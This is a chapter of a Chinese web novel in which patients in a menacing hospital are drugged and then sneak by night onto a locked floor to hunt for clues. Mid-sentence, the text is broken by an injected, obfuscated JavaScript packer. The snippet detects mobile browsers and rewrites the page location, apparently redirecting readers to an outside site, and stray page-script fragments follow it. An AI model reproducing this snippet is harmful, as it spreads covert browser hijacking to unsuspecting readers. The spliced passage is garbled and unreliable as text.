107. 第 107 章

    三人讨论着，远处的灿黄变为柔和的夕阳，红彤彤地挂在墙边，靠近的云全被染上了艳红，似生生不息的火，也似缓缓拉上的幕布。 护士们集体出现，将后院的人赶回医院，而原本在其他楼层的病人也被驱到了一楼食堂。人齐后，护士长清点人头，确定12不少，这才让病人们吃饭，然后吩咐三个护士盯梢，让他们把吃完饭后的病人送回病房。 晚上的菜色和中午的略有不同，俞韵观察食堂众人，发现经过大半天的相处，所有人都确定了阵营。美琪和寸头男站到了一块，10号我行我素，依旧一人，剩下的七人则零零散散聚到了一起。 先是12号，她看起来有些依赖4号，每当有人和12号说话，12号答不上来，就是下意识看向4号，而4号似乎也乐于安排指挥12号，并不嫌弃12号麻烦。 有些像直系领导和刚进组的员工。 1号、3号两个年轻男人处成了哥们，站位相近，勾肩搭背、说说笑笑，旁边是凸肚叔和美女2号，凸肚叔和美女搭讪，1号和3号听见了会时不时插几句，2号捂嘴笑，十分游刃有余。 最后是护士，护士们和中午一样，一个护士负责盯四、五个病人，等病人吃完了饭，护士们才会到窗口打饭，也依旧是打包外带。 俞韵刻意留到了最后，和10号一起，四个人被女护士送上楼。 他们经过一楼加装的楼梯门，女护士熟练地把铁门带上，用钥匙锁好，俞韵好奇，直接开口：“为什么医院每一层都要装铁门，是为了不让人上下楼吗？” 护士调头看向俞韵，又回身去拉锁头，确定锁扣锁好，这才说话：“没错，因为病人发病毫无征兆，也没有时间限制，所以每层锁门是为了避免病人半夜狂躁，突然出去伤人。” “我看三楼的铁门上挂了一条五彩绳，而别的楼层都没有，”俞韵状若无意，探问道，“那五彩绳是什么？” 听到这话，护士平静的脸忽然凝固了，她快速转身，眼神直射俞韵，俞韵想起护士长，果断装作随意的模样，语气满不在乎：“不说就不说呗，看我干什么？” 说罢，俞韵主动上楼，时青岁等人也跟在俞韵后面离开，只有护士仍位于台阶，两颗眼珠仿佛黏到了俞韵后背，一瞬不瞬，仿佛只要俞韵表露什么，她就能立刻爆出攻击。护士视线灼热，所有人都有股救命的直觉，此时绝不可回头。 很快，俞韵走向楼梯拐角，仅能看见一双脚，护士的脸悠悠变回原本的神态，也跟着上楼了。 回到二楼，护士挨个送他们进入与病号服数字相同的病房，告诉他们医生待会会来，然后就关了门。 俞韵回到床上休息，没等多久，房门再次打开，出现的依旧是侯医生和陈医生，陈医生看起来状态好了点，虽然仍满目红血丝，但眼睛的疲惫没有早晨那样明显，好像是睡了一下午的整觉，精神逐渐恢复。 陈医生单手拿着病历夹，示意侯医生给俞韵检测，侯医生从男护士的推车里取出针和一次性水杯，又从口袋里掏出一小瓶红色的液体。 液体拧开，腐烂的臭味，瞬间冲了出来，像是放坏的鸭血。 闻到这股气味，侯医生皱了皱眉，蓝色口罩大幅度鼓动，接着就微微瘪了下去，没在呼起。侯医生将液体倒进水杯中，不多，只有浅浅一层，她叫男护士上前，抓住俞韵的手。 “你们干什么？”俞韵抽手，但迅速被男护士制住，侯医生没有废话，一手握上俞韵的食指，另一只手捏着针，比划两下，这才去扎俞韵指腹。 不够用力，仅能看到一点血珠，侯医生不得不用力挤压俞韵伤口，把血一点点挤进水杯。 俞韵疼得皱眉：“你到底是不是医生啊。” 侯医生没说话，看了一眼俞韵，继续挤。若是早上的侯医生，这会早就呛声了。俞韵感觉奇怪，审视地看着侯医生，又去看液体，也不知是不是闻习惯的原因，俞韵觉得那腐臭似乎淡了许多，而水杯中的红色，似乎也有些褪色。 挤了一会，侯医生松开俞韵的手，又把将银针泡着酒精的消毒盒，最后把杯子递给陈医生。 男护士细心地从推车里拿出棉球，帮俞韵手指止血。 陈医生观察着杯中液体，然后将其扔进废弃桶，在病历夹上快速写下一行字，淡淡道：“给她吃药吧。” 男护士听言，取出药片袋，并装一杯温开水，一起交给俞韵。 “这是什么？”俞韵指着白色的药片，除了白天的红色胶囊，现在还多了另一种药。 “让你吃就吃，怎么那么多问题？”陈医生不耐烦。 “白药是为你好，避免你发病。”侯医生破天荒解释了一句，眼中生出怜悯。 俞韵颦眉，陈医生不想浪费时间，直接让男护士灌药。俞韵收了目光，干脆地把药吞了。之后照例是检查病人有没有真的吃药，查验后没问题，医护们离开。 确定人走后，俞韵回到床上，侧躺着用被子盖住自己，对自己使用了治愈技能，虽不知道这些药是什么，但直觉不是什么好东西，还是赶紧清除了为妙。 天渐渐变沉，没有钟表，俞韵也不知现在是几点，她眯眼休息，等了又等，一直等到生出怀疑，猜测时青岁那边是不是失败了的时候，门忽然被敲响了。 俞韵惊醒，拧身看向门边。 时青岁拉开门，压低声音：“行动了。” 俞韵快速起身，往门外走去，整座医院都没开灯，只有月光照进窗户的幽亮，看得视野模糊。 9号的凸肚叔打开了11号时青岁的门，又去开了12号的门，俞韵留意到7号寸头男还在里面，但10号房里空了，显然10号有办法自己开门。 时青岁和俞韵往走廊那一边走，凸肚叔他们也准备去那边开门。 1号男怎么叫也叫不醒，打着呼噜，凸肚叔决定放弃；2号半梦半醒，断言白色药片是安眠药；3号醒了，面色不好怎么，像是催过吐；4号顺利出门，看起来不受药物的影响；5号沈玄慈早已睡熟，被时青岁一把薅起，摇晃半天，沈玄慈终于缓慢睁眼，只是眼皮困在眼镜后，呵欠连天；6号美琪出来，直接去找7号，接着帮7号开了门。 11人跟着凸肚叔悄声上三楼，来到铁门边，凸肚叔鼓捣几下还是没能打开，只好小声道：“太黑了，啥也看不清，大家有没有照明工具？” 12号立刻拿出手电筒模样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297179|168720||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 手办，嚓的一下，光立刻像笔直的射线，刺得前方成了明亮的圆点。 所有人都忍不住遮住眼，4号更是急声：“小沅，快收起来。” “是啊妹妹，”凸肚叔赶紧说，“等下门还没开，我们就全被发现了。” “哦哦哦，好的……”12号手慌手慌脚收回手办，像是想补救，又像是担心旁人埋怨，忙补充，“我、我还有个头戴矿灯，那个灯小一点，我、我我，不然我用那个吧？” 2号轻啧一下，语调不满：“有还不快点拿出来，慢吞吞的要让其他人都被你连累吗？” 12号委屈，但还是什么也没说，只管拿出头戴式矿灯，这次有了经验，她有意地调低亮度，不至于像之前那般晃眼。 凸肚叔：“好嘞妹妹，往这边一点。” 俞韵三人站在后面，俞韵环顾一圈，并未发现10号，也不知10号是不是去了其他地方。沈玄慈小声说着方妍的事，说今晚方妍特地让护士给了两颗白色药片，似乎真的站到了他们的对立面。 俞韵听着心沉了下去，还未多想，就听见了清脆的咔嚓声。 锁开了。 凸肚叔兴奋，蹑手蹑脚地拉门。 吱呀——嘎、嘎、嘎、嘎。 门开的声音像是恐怖片里的配乐，格外刺耳，凸肚叔龇牙咧嘴，仿佛这样就能让门的声响小一些，然而事实不尽人意，门链噶了好几声，这才折成90度，彻底打开。 12号害怕得立即关上灯，所有人也做好了后撤的准备，戒备地看向三楼里面。 “应该是很久没开了，铁全锈上了。”4号安慰12号。 众人在黑暗中等了一会，没听见动静，有人便怂恿着往里走。 凸肚叔在最前，体格又大，自然是由他打前阵，但凸肚叔显然也是怕的，不敢先走，他警惕地碰了碰五色绳：“这、这条绳子是什么？” “别动，”寸头男喝止，“那是镇鬼的法器。” 凸肚叔胖手一缩，后退半步：“法器？这里有鬼？” 寸头男不再说了，皱着眉毛，拨开前方的人，径直往上去，进门时，寸头男特地压弯了腰，不敢碰到五色绳，美琪跟到寸头男身后，学着寸头男的样子，两人率先进去三楼。 剩下的人你看看我，我看看你，也跟着进去了。 俞韵他们没有照明道具，等其余人远离些后，俞韵马上让沈玄慈使用【碧斯】，直接去有没有圣水的线索，沈玄慈听言行动，使用手办后一路嗅闻，带上俞韵和时青岁走向另一边。 三楼的格局像是二楼与四楼的结合体，有两个分叉的走廊，走廊两旁像是诊疗室，所有的装潢都是彩色的，只是在这昏暗的月光下，一切色彩都被蒙上了晦暗的阴影，看起来有点不详。 “在这，”沈玄慈指向一扇胡桃色的门，“这里面有线索，”他动着鼻子，像是确定，然后不由自主地打了个呵欠，擦着眼角的泪，看向另一边，“还有那边，那边也有线索。” “我们分开查，”俞韵顺着沈玄慈的眼神，“你和时青岁去那边，那边人多，最好在别人发现之前找到线索。” “好。”时青岁答应，和沈玄慈离开了。